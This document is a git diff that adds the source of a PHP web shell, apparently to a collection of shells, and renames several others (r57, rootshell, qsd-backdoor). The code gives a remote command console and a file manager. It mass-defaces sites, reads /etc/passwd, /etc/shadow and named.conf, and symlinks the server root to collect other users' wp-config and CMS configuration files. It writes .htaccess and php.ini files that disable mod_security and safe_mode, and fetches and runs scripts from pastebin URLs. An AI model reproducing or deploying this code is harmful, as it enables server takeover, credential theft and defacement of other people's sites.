0x0800) ? 'S' : '-')); +$i .= (($p & 0x0020) ? 'r' : '-'); +$i .= (($p & 0x0010) ? 'w' : '-'); +$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); +$i .= (($p & 0x0004) ? 'r' : '-'); +$i .= (($p & 0x0002) ? 'w' : '-'); +$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); +return $i; +} +function viewPermsColor($f) { +if (!@is_readable($f)) +return ''.perms(@fileperms($f)).''; +elseif (!@is_writable($f)) +return ''.perms(@fileperms($f)).''; +else +return ''.perms(@fileperms($f)).''; +} +if(!function_exists("scandir")) { +function scandir($dir) { +$dh= opendir($dir); +while (false !== ($filename = readdir($dh))) { +$files[] = $filename; +} +return $files; +} +} +function actionSecInfo() { +printHeader(); +echo '

Server security information

'; +function showSecParam($n, $v) { +$v = trim($v); +if($v) { +echo ''.$n.': '; +if(strpos($v, "\n") === false) +echo $v.'
'; +else +echo '
'.$v.'
'; +} +} +showSecParam('Server software', @getenv('SERVER_SOFTWARE')); +showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); +showSecParam('Open base dir', @ini_get('open_basedir')); +showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); +showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); +showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); +$temp=array(); +if(function_exists('mysql_get_client_info')) +$temp[] = "MySql (".mysql_get_client_info().")"; +if(function_exists('mssql_connect')) +$temp[] = "MSSQL"; +if(function_exists('pg_connect')) +$temp[] = "PostgreSQL"; +if(function_exists('oci_connect')) +$temp[] = "Oracle"; +showSecParam('Supported databases', implode(', ', $temp)); +echo '
'; +if( $GLOBALS['os'] == 'nix' ) { +$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); +$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); +$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); +showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); +showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); +showSecParam('OS version', @file_get_contents('/proc/version')); +showSecParam('Distr name', @file_get_contents('/etc/issue.net')); +if(!$GLOBALS['safe_mode']) { +echo '
'; +$temp=array(); +foreach ($userful as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Userful', implode(', ',$temp)); +$temp=array(); +foreach ($danger as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Danger', implode(', ',$temp)); +$temp=array(); +foreach ($downloaders as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Downloaders', implode(', ',$temp)); +echo '
'; +showSecParam('Hosts', @file_get_contents('/etc/hosts')); +showSecParam('HDD space', ex('df -h')); +showSecParam('Mount options', @file_get_contents('/etc/fstab')); +} +} else { +showSecParam('OS Version',ex('ver')); +showSecParam('Account Settings',ex('net accounts')); +showSecParam('User Accounts',ex('net user')); +} +echo '
'; +printFooter(); +} +function actionFilesMan() { +printHeader(); +echo '

File manager

'; +if(isset($_POST['p1']) && $_POST['p1']!='deface') { +switch($_POST['p1']) { +case 'uploadFile': +if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) +echo "Can't upload file!"; +break; +break; +case 'mkdir': +if(!@mkdir($_POST['p2'])) +echo "Can't create new dir"; +break; +case 'delete': +function deleteDir($path) { +$path = (substr($path,-1)=='/') ? $path:$path.'/'; +$dh= opendir($path); +while ( ($item = readdir($dh) ) !== false) { +$item = $path.$item; +if ( (basename($item) == "..") || (basename($item) == ".") ) +continue; +$type = filetype($item); +if ($type == "dir") +deleteDir($item); +else +@unlink($item); +} +closedir($dh); +rmdir($path); +} +if(is_array(@$_POST['f'])) +foreach($_POST['f'] as $f) { +$f = urldecode($f); +if(is_dir($f)) +deleteDir($f); +else +@unlink($f); +} +break; +case 'paste': +if($_SESSION['act'] == 'copy') { +function copy_paste($c,$s,$d){ +if(is_dir($c.$s)){ +mkdir($d.$s); +$h = opendir($c.$s); +while (($f = readdir($h)) !== false) +if (($f != ".") and ($f != "..")) { +copy_paste($c.$s.'/',$f, $d.$s.'/'); +} +} elseif(is_file($c.$s)) { +@copy($c.$s, $d.$s); +} +} +foreach($_SESSION['f'] as $f) +copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); +} elseif($_SESSION['act'] == 'move') { +function move_paste($c,$s,$d){ +if(is_dir($c.$s)){ +mkdir($d.$s); +$h = opendir($c.$s); +while (($f = readdir($h)) !== false) +if (($f != ".") and ($f != "..")) { +copy_paste($c.$s.'/',$f, $d.$s.'/'); +} +} elseif(is_file($c.$s)) { +@copy($c.$s, $d.$s); +} +} +foreach($_SESSION['f'] as $f) +@rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); +} +unset($_SESSION['f']); +break; +default: +if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { +$_SESSION['act'] = @$_POST['p1']; +$_SESSION['f'] = @$_POST['f']; +foreach($_SESSION['f'] as $k => $f) +$_SESSION['f'][$k] = urldecode($f); +$_SESSION['cwd'] = @$_POST['c']; +} +break; +} +echo ''; +} +$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); +if($dirContent === false) {echo 'Can\'t open this folder!'; return;} +global $sort; +$sort = array('name', 1); +if(!empty($_POST['p1'])) { +if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) +$sort = array($match[1], (int)$match[2]); +} +echo ' + +'; +echo ""; +$dirs = $files = $links = array(); +$n = count($dirContent); +for($i=0;$i<$n;$i++) { +$ow = @posix_getpwuid(@fileowner($dirContent[$i])); +$gr = @posix_getgrgid(@filegroup($dirContent[$i])); +$tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), + 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) +); +if(@is_file($GLOBALS['cwd'].$dirContent[$i])) +$files[] = array_merge($tmp, array('type' => 'file')); +elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) +$links[] = array_merge($tmp, array('type' => 'link')); +elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) +$dirs[] = array_merge($tmp, array('type' => 'dir')); +} +$GLOBALS['sort'] = $sort; +function cmp($a, $b) { +if($GLOBALS['sort'][0] != 'size') +return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); +else +return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); +} +usort($files, "cmp"); +usort($dirs, "cmp"); +usort($links, "cmp"); +$files = array_merge($dirs, $links, $files); +$l = 0; +foreach($files as $f) { +echo ''; +$l = $l?0:1; +} +echo ' +
NameSizeModifyOwner/GroupPermissionsActions
'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');">[ '.htmlspecialchars($f['name']).' ]').''.(($f['type']=='file')?viewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] +.'R T'.(($f['type']=='file')?' E D':'').'
+ + + +  
'; +printFooter(); +} +function actionStringTools() { +if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} +if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$iString conversions

'; +$stringTools = array( +'Base64 encode' => 'base64_encode', +'Base64 decode' => 'base64_decode', +'Url encode' => 'urlencode', +'Url decode' => 'urldecode', +'Full urlencode' => 'full_urlencode', +'md5 hash' => 'md5', +'sha1 hash' => 'sha1', +'crypt' => 'crypt', +'CRC32' => 'crc32', +'ASCII to HEX' => 'ascii2hex', +'HEX to ASCII' => 'hex2ascii', +'HEX to DEC' => 'hexdec', +'HEX to BIN' => 'hex2bin', +'DEC to HEX' => 'dechex', +'DEC to BIN' => 'decbin', +'BIN to HEX' => 'bin2hex', +'BIN to DEC' => 'bindec', +'String to lower case' => 'strtolower', +'String to upper case' => 'strtoupper', +'Htmlspecialchars' => 'htmlspecialchars', +'String length' => 'strlen', +); +if(empty($_POST['ajax'])&&!empty($_POST['p1'])) +$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; +echo "
send using AJAX
";
+if(!empty($_POST['p1'])) {
+if(function_exists($_POST['p1']))
+echo htmlspecialchars($_POST['p1']($_POST['p2']));
+}
+echo"
"; +printFooter(); +} +function actionFilesTools() { +if( isset($_POST['p1']) ) +$_POST['p1'] = urldecode($_POST['p1']); +if(@$_POST['p2']=='download') { +if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { +ob_start("ob_gzhandler", 4096); +header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); +if (function_exists("mime_content_type")) { +$type = @mime_content_type($_POST['p1']); +header("Content-Type: ".$type); +} +$fp = @fopen($_POST['p1'], "r"); +if($fp) { +while(!@feof($fp)) +echo @fread($fp, 1024); +fclose($fp); +} +} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { +} +exit; +} +if( @$_POST['p2'] == 'mkfile' ) { +if(!file_exists($_POST['p1'])) { +$fp = @fopen($_POST['p1'], 'w'); +if($fp) { +$_POST['p2'] = "edit"; +fclose($fp); +} +} +} +printHeader(); +echo '

File tools

'; +if( !file_exists(@$_POST['p1']) ) { +echo 'File not exists'; +printFooter(); +return; +} +$uid = @posix_getpwuid(@fileowner($_POST['p1'])); +$gid = @posix_getgrgid(@fileowner($_POST['p1'])); +echo 'Name: '.htmlspecialchars($_POST['p1']).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
'; +echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

'; +if( empty($_POST['p2']) ) +$_POST['p2'] = 'view'; +if( is_file($_POST['p1']) ) +$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); +else +$m = array('Chmod', 'Rename', 'Touch'); +foreach($m as $v) +echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; +echo '

'; +switch($_POST['p2']) { +case 'view': +echo '
';
+$fp = @fopen($_POST['p1'], 'r');
+if($fp) {
+while( !@feof($fp) )
+echo htmlspecialchars(@fread($fp, 1024));
+@fclose($fp);
+}
+echo '
'; +break; +case 'highlight': +if( is_readable($_POST['p1']) ) { +echo '
'; +$code = highlight_file($_POST['p1'],true); +echo str_replace(array(''), array(''),$code).'
'; +} +break; +case 'chmod': +if( !empty($_POST['p3']) ) { +$perms = 0; +for($i=strlen($_POST['p3'])-1;$i>=0;--$i) +$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); +if(!@chmod($_POST['p1'], $perms)) +echo 'Can\'t set permissions!
'; +else +die(''); +} +echo '
'; +break; +case 'edit': +if( !is_writable($_POST['p1'])) { +echo 'File isn\'t writeable'; +break; +} +if( !empty($_POST['p3']) ) { +@file_put_contents($_POST['p1'],$_POST['p3']); +echo 'Saved!
'; +} +echo '
'; +break; +case 'hexdump': +$c = @file_get_contents($_POST['p1']); +$n = 0; +$h = array('00000000
','',''); +$len = strlen($c); +for ($i=0; $i<$len; ++$i) { +$h[1] .= sprintf('%02X',ord($c[$i])).' '; +switch ( ord($c[$i]) ) { +case 0:$h[2] .= ' '; break; +case 9:$h[2] .= ' '; break; +case 10: $h[2] .= ' '; break; +case 13: $h[2] .= ' '; break; +default: $h[2] .= $c[$i]; break; +} +$n++; +if ($n == 32) { +$n = 0; +if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';} +$h[1] .= '
'; +$h[2] .= "\n"; +} + } +echo '
'.$h[0].'
'.$h[1].'
'.htmlspecialchars($h[2]).'
'; +break; +case 'rename': +if( !empty($_POST['p3']) ) { +if(!@rename($_POST['p1'], $_POST['p3'])) +echo 'Can\'t rename!
'; +else +die(''); +} +echo '
'; +break; +case 'touch': +if( !empty($_POST['p3']) ) { +$time = strtotime($_POST['p3']); +if($time) { +if(@touch($_POST['p1'],$time,$time)) +die(''); +else { +echo 'Fail!'; +} +} else echo 'Bad time format!'; +} +echo '
'; +break; +case 'mkfile': +break; +} +echo '
'; +printFooter(); +} +function actionDefacer() { +printHeader(); +echo "

Recursive Mass Defacer

"; +?> +
+

Folder: +
file name : +
Text Content : +

+ +[+] Recursive Mass defacer
+-----------------------------------------------

"; +$dir = opendir($mainpath); +while ($row = readdir($dir)) { +$start = @fopen("$row/$file", "w+"); +$code = $txtContents; +$finish = @fwrite($start, $code); +if ($finish) { +echo "http://$row/$file
"; +} +if (strncasecmp(PHP_OS, 'WIN', 3) == 0) { +exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL"); +} else { +system("find $PWM -type d -exec cp $file {} \;"); +} +} +echo "-----------------------------------------------

[+] Script by PuNkHoLic [+]"; +} +echo '
'; +printFooter(); +} +function actionConsole() { +if(isset($_POST['ajax'])) { +$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; +ob_start(); +echo "document.cf.cmd.value='';\n"; +$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); +if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){ +if(@chdir($match[1])) { +$GLOBALS['cwd'] = @getcwd(); +echo "document.mf.c.value='".$GLOBALS['cwd']."';"; +} +} +echo "document.cf.output.value+='".$temp."';"; +echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; +$temp = ob_get_clean(); +echo strlen($temp), "\n", $temp; +exit; +} +printHeader(); +echo ''; +echo '

Console

send using AJAX
'; +echo '
'; +printFooter(); +} +function actionLogout() { +unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); +echo 'Get out Now

+Chrome Pointer +You are out now :D
www.facebook.com/PuNkHoLic

'; +} +///my editing start here for tools +function download_remote_file($file_url, $save_to) +{ +$content = file_get_contents($file_url); +file_put_contents($save_to, $content); +} +if (isset($_POST['cp'])) { +download_remote_file('http://pastebin.com/raw/2Ntdj7ju', realpath("./") . '/cp.php'); +header("location:cp.php"); +} +if (isset($_POST['SymlinkbySmevk'])) { +download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php'); +header("location:SymlinkbySmevk.php"); +} +if (isset($_POST['SymlinkbyCheetah'])) { +download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php'); +header("location:SymlinkbyCheetah.php"); +} +if (isset($_POST['SymlinkbyTorjan'])) { +download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py'); +$url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/trjnx/'; +header('location: '.$url); +system('python sym.py'); +} +if (isset($_POST['jump'])) { +download_remote_file('http://pastebin.com/raw/MxtcT6nX', realpath("./") . '/jump.php'); +header("location:jump.php"); +} +if (isset($_POST['adminer'])) { +system('wget https://www.adminer.org/static/download/4.2.5/adminer-4.2.5-mysql-en.php adminer.php'); +header("location:adminer-4.2.5-mysql-en.php"); +} +if (isset($_POST['cg'])) { +download_remote_file('http://pastebin.com/raw/WSgkDHSN', realpath("./") . '/cg.php'); +header("location:cg.php"); +} +function actionImportScripts() { +printHeader(); +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +printFooter(); +} +function actionShared() { +printHeader(); +$file = @implode(@file("/etc/named.conf")); +if (!$file) { +die("# can't ReaD -> [ /etc/named.conf ]"); +} +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +{ +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +$array= "http://$domain " . $user['name'] . "
"; +$lol= '' . get_current_user(); +if (strpos($array, "$lol") !== false) { +$shared = str_replace(array(" $lol"), "", $array); +echo "
$shared"; +} +} +} +printFooter(); +} +function actionSymlink() { +printHeader(); +echo '

Symlink

'; +$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; +$expld = explode('/',$furl ); +$burl =str_replace(end($expld),'',$furl); +echo '
+

[ Domains ] - +[ Whole Server Symlink ] - +[ Config files symlink ]

'; +if(isset($_POST['p1']) && $_POST['p1']=='website') +{ +echo "
"; +$d0mains = @file("/etc/named.conf"); +if(!$d0mains){ +echo "
Cant access this file on server -> [ /etc/named.conf ]
"; +} else { +echo "
Just click and get the Script :).
+
+
"; +$unk = array(); +foreach($d0mains as $d0main){ +if(@eregi("zone",$d0main)){ +preg_match_all('#zone "(.*)"#', $d0main, $domains); +flush(); +if(strlen(trim($domains[1][0])) > 2){ +$unk[] = $domains[1][0]; +flush(); +} +} +} +$count=1; +$unk = array_unique($unk); +$l=0; +foreach($unk as $d){ +$user = posix_getpwuid(@fileowner("/etc/valiases/".$d)); +echo ""; +flush(); +$count++; +$l=$l?0:1; +} +echo "
Domains
".$d."".$user['name']."
"; +} +echo ""; +} +if(isset($_POST['p1']) && $_POST['p1']=='whole') +{ +echo "
"; +@mkdir('PCAPuNkHoLic_sym',0777); +$hdt= "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any"; +$hfp =@fopen ('PCAPuNkHoLic_sym/.htaccess','w'); +fwrite($hfp ,$hdt); +if(function_exists('symlink')) { +@symlink('/','PCAPuNkHoLic_sym/root'); +} +$d0mains = @file('/etc/named.conf'); +if(!$d0mains) { +echo "
# Cant access this file on server -> [ /etc/named.conf ]
"; +echo ""; +$dt = file('/etc/passwd'); +$l=0; +foreach($dt as $d) { +$r = explode(':',$d); +if(strpos($r[5],'home')) { +echo ""; +$l=$l?0:1; +$j++; +} +} +echo '
Count Domains User Symlink
".$j."---".$r[0]."symlink
'; +} else { +echo ""; +$count=1; +$mck = array(); +foreach($d0mains as $d0main){ +if(@eregi('zone',$d0main)){ +preg_match_all('#zone "(.*)"#',$d0main,$domain); +flush(); +if(strlen(trim($domain[1][0])) >2){ +$mck[] = $domain[1][0]; +} +} +} +$mck = array_unique($mck); +$usr = array(); +$dmn = array(); +foreach($mck as $o) { +$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o)); +$usr[] = $infos['name']; +$dmn[] = $o; +} +array_multisort($usr,$dmn); +$dt = file('/etc/passwd'); +$passwd = array(); +foreach($dt as $d) { +$r = explode(':',$d); +if(strpos($r[5],'home')) { +$passwd[$r[0]] = $r[5]; +} +} +$l=0; +$j=1; +foreach($usr as $r) { +echo " + + +"; +flush(); +$l=$l?0:1; +$j++; +} +echo '
Count Domains User Symlink
".$count++."'.$dmn[$j-1].' '.$r."symlink
'; +} +echo ""; +} +if(isset($_POST['p1']) && $_POST['p1']=='config') +{ +echo "
"; +@mkdir('PCAPuNkHoLic_sym',0777); +$hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \nAddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; +$hfp = @fopen ('PCAPuNkHoLic_sym/.htaccess','w'); +@fwrite($hfp ,$hdt); +if(function_exists('symlink')) { +@symlink('/','PCAPuNkHoLic_sym/root'); +} +$d0mains=@file('/etc/named.conf'); +if(!$d0mains) { +echo "
# Cant access this file on server -> [ /etc/named.conf ]
"; +}else { +echo ">"; +$count = 1; +$l=0; +foreach($d0mains as $d0main){ +if(@eregi('zone',$d0main)){ +preg_match_all('#zone "(.*)"#',$d0main,$domain); +flush(); +if(strlen(trim($domain[1][0]))>2){ +$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0])); +$c1 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/wp-config.php'; +$ch01 = get_headers($c1); +$cf01 = $ch01[0]; +$c2 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php'; +$ch02 = get_headers($c2); +$cf02 = $ch02[0]; +$c3 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/configuration.php'; +$ch03 = get_headers($c3); +$cf03 = $ch03[0]; +$c4 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php'; +$ch04 = get_headers($c4); +$cf04 = $ch04[0]; +$c5 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/config.php'; +$ch05 = get_headers($c5); +$cf05 = $ch05[0]; +$c6 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php'; +$ch06 = get_headers($c6); +$cf06 = $ch06[0]; +$c7 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php'; +$ch07 = get_headers($c7); +$cf07 = $ch07[0]; +$c8 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'public_html/clients/configuration.php'; +$ch08 = get_headers($c8); +$cf08 = $ch08[0]; +$c9 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/support/configuration.php'; +$ch09 = get_headers($c9); +$cf09 = $ch09[0]; +$c10 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php'; +$ch10 = get_headers($c10); +$cf10 = $ch10[0]; +$c11 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/submitticket.php'; +$ch11 = get_headers($c11); +$cf11 = $ch11[0]; +$c12 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php'; +$ch12 = get_headers($c12); +$cf12 = $ch12[0]; +$c13 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/configure.php'; +$ch13 = get_headers($c13); +$cf13 = $ch13[0]; +$c14 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/include/app_config.php'; +$ch14 = get_headers($c14); +$cf14 = $ch14[0]; +$c15 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php'; +$ch15 = get_headers($c15); +$cf15 = $ch15[0]; +$out = ' '; +if(strpos($cf01,'200') == true){ $out = "Wordpress"; } +elseif(strpos($cf02,'200') == true){ $out = "Wordpress"; } +elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " WHMCS"; } +elseif(strpos($cf09,'200') == true){ $out = " WHMCS";} +elseif(strpos($cf10,'200') == true){ $out = " WHMCS"; } +elseif(strpos($cf03,'200') == true){ $out = " Joomla"; } +elseif(strpos($cf04,'200') == true){ $out = " Joomla"; } +elseif(strpos($cf05,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf06,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf07,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf08,'200') == true){ $out = " Client Area";} +elseif(strpos($cf12,'200') == true){ $out = " Client Area";} +elseif(strpos($cf13,'200') == true){ $out = " osCommerce/Zen Cart";} +elseif(strpos($cf14,'200') == true){ $out = " Magento";} +elseif(strpos($cf15,'200') == true){ $out = " Drupal";} +else { +continue; +} +echo ''; +flush(); +$l=$l?0:1; +} +} +} +echo "
Count Domain User Script
'.$count++.''.$domain[1][0].''.$user['name'].''.$out.'
"; +} +echo ""; +} +echo ""; +printFooter(); +} + function actionJumping() +{printHeader(); +echo ''.getenv("HTTP_HOST").' - Jumping Server'; +($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: Safe_mode = On'); +set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('[-] Error : Coudn`t Read /etc/passwd'); } +$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':');$username = substr($str,0,$pos);$dirz = '/home/'.$username.'/public_html/';if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);array_push($pub,$dirz); }}}$i++;} +echo ' [-]==================[ START ]==================[-]
'; +foreach ($users as $user){echo " [+] /home/$user/public_html/
";} echo "\n
[-]==================[ FINISH ]==================[-]
\n"; echo ''; +printFooter(); +} +function actionSubdomain() { +printHeader(); +error_reporting(0); +$user = get_current_user(); +$open = opendir('/home/' . $user . '/access-logs/'); +while ($dir = readdir($open)) { +$totalDoamin[] = $dir; +} +closedir($open); +$total = count($totalDoamin); +$domain = $total - 2; +if ($domain > 0) { +echo "

~ Total " . $domain . " Sub Domain Found! ~

"; +} else { +echo "

~ 0 Sub Domain Found! ~

"; +} +$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.')); +$domains = implode(" +http://", $scan); +echo ' +'; +printFooter(); +} +function actionSym() { +printHeader(); +$file = @implode(@file("/etc/named.conf")); +if (!$file) { +die("# can't ReaD -> [ /etc/named.conf ]"); +} +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +{ +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +$array= "
http://$domain
"; +$lol= '' . get_current_user(); +if (strpos($array, "$lol") == false) { +$shared = str_replace(array(" $lol"), "", $array); +echo "
$shared"; +} +} +} +printFooter(); +} +function actionBypass() { +printHeader(); +echo '

Safe Mode

'; +echo '
'; +echo "

| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |

Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh] files create in following dir
| ".$GLOBALS['cwd']." |

"; +echo '| PHP.INI | | .htaccess(Mod) | | .htaccess(perl) |
'; +if(!empty($_POST['p2']) && isset($_POST['p2'])) +{ +$fil=fopen($GLOBALS['cwd'].".htaccess","w"); +fwrite($fil,' +Sec------Engine Off +Sec------ScanPOST Off +'); +fclose($fil); + } + if(!empty($_POST['p1'])&& isset($_POST['p1'])) + { +$fil=fopen($GLOBALS['cwd']."php.ini","w"); +fwrite($fil,'safe_mode=OFF +disable_functions=NONE'); +fclose($fil); +} +if(!empty($_POST['p3']) && isset($_POST['p3'])) +{ +$fil=fopen($GLOBALS['cwd'].".htaccess","w"); +fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI +AddType application/x-httpd-cgi .sh +AddHandler cgi-script .pl +AddHandler cgi-script .pl'); +fclose($fil); +} +echo "


"; +echo '
'; +printFooter(); +} +function actionDeface() { +printHeader(); +echo "

Mass Defacer by PuNkHoLic

"; +?> + +

Folder: +
file name : +
Text Content : +

+ Done

"; +} +} +} +echo '
'; +printFooter(); +} + function actionDomain() { +printHeader(); +echo '

Local Domains

'; +$file = @implode(@file("/etc/named.conf")); +$Domain_path = "/var/named"; +if (!$file) { +$domains = scandir($Domain_path); +$count=1; +$dc = 0; +echo " + +"; +foreach ($domains as &$domain) { +if (stripos($domain,".db")) { +$domain = str_replace('.db','',$domain); +} +if (strlen($domain) > 6) { +echo ""; +} +} +echo "
There are : ( " . count($domains) . " ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink.
NoDomainUser
".$count++."".$domain."User
"; +}else{ +$count = 1; +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +echo " + +"; +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +echo ""; + } +} + printFooter(); +} +if( empty($_POST['a']) ) +if(isset($default_action) && function_exists('action' . $default_action)) +$_POST['a'] = $default_action; +else +$_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) +call_user_func('action' . $_POST['a']) +?> diff --git a/pws.php b/Collection/pws.php similarity index 100% rename from pws.php rename to Collection/pws.php diff --git a/qsd-php-backdoor.php b/Collection/qsd-backdoor.php similarity index 100% rename from qsd-php-backdoor.php rename to Collection/qsd-backdoor.php diff --git a/Collection/r57.php b/Collection/r57.php new file mode 100644 index 0000000..e61abc7 --- /dev/null +++ b/Collection/r57.php @@ -0,0 +1,7565 @@ + diff --git a/robots.php b/Collection/robots.php similarity index 100% rename from robots.php rename to Collection/robots.php diff --git a/rootshell.php b/Collection/rootshell.php similarity index 100% rename from rootshell.php rename to Collection/rootshell.php diff --git a/ru24_post_sh.php b/Collection/ru24_post_sh.php similarity index 100% rename from ru24_post_sh.php rename to Collection/ru24_post_sh.php diff --git a/s72_Shell_v1.1_Coding.php b/Collection/s72_Shell.php similarity index 100% rename from s72_Shell_v1.1_Coding.php rename to Collection/s72_Shell.php diff --git a/safe0ver.php b/Collection/safe0ver.php similarity index 100% rename from safe0ver.php rename to Collection/safe0ver.php diff --git a/simattacker.php b/Collection/simattacker.php similarity index 100% rename from simattacker.php 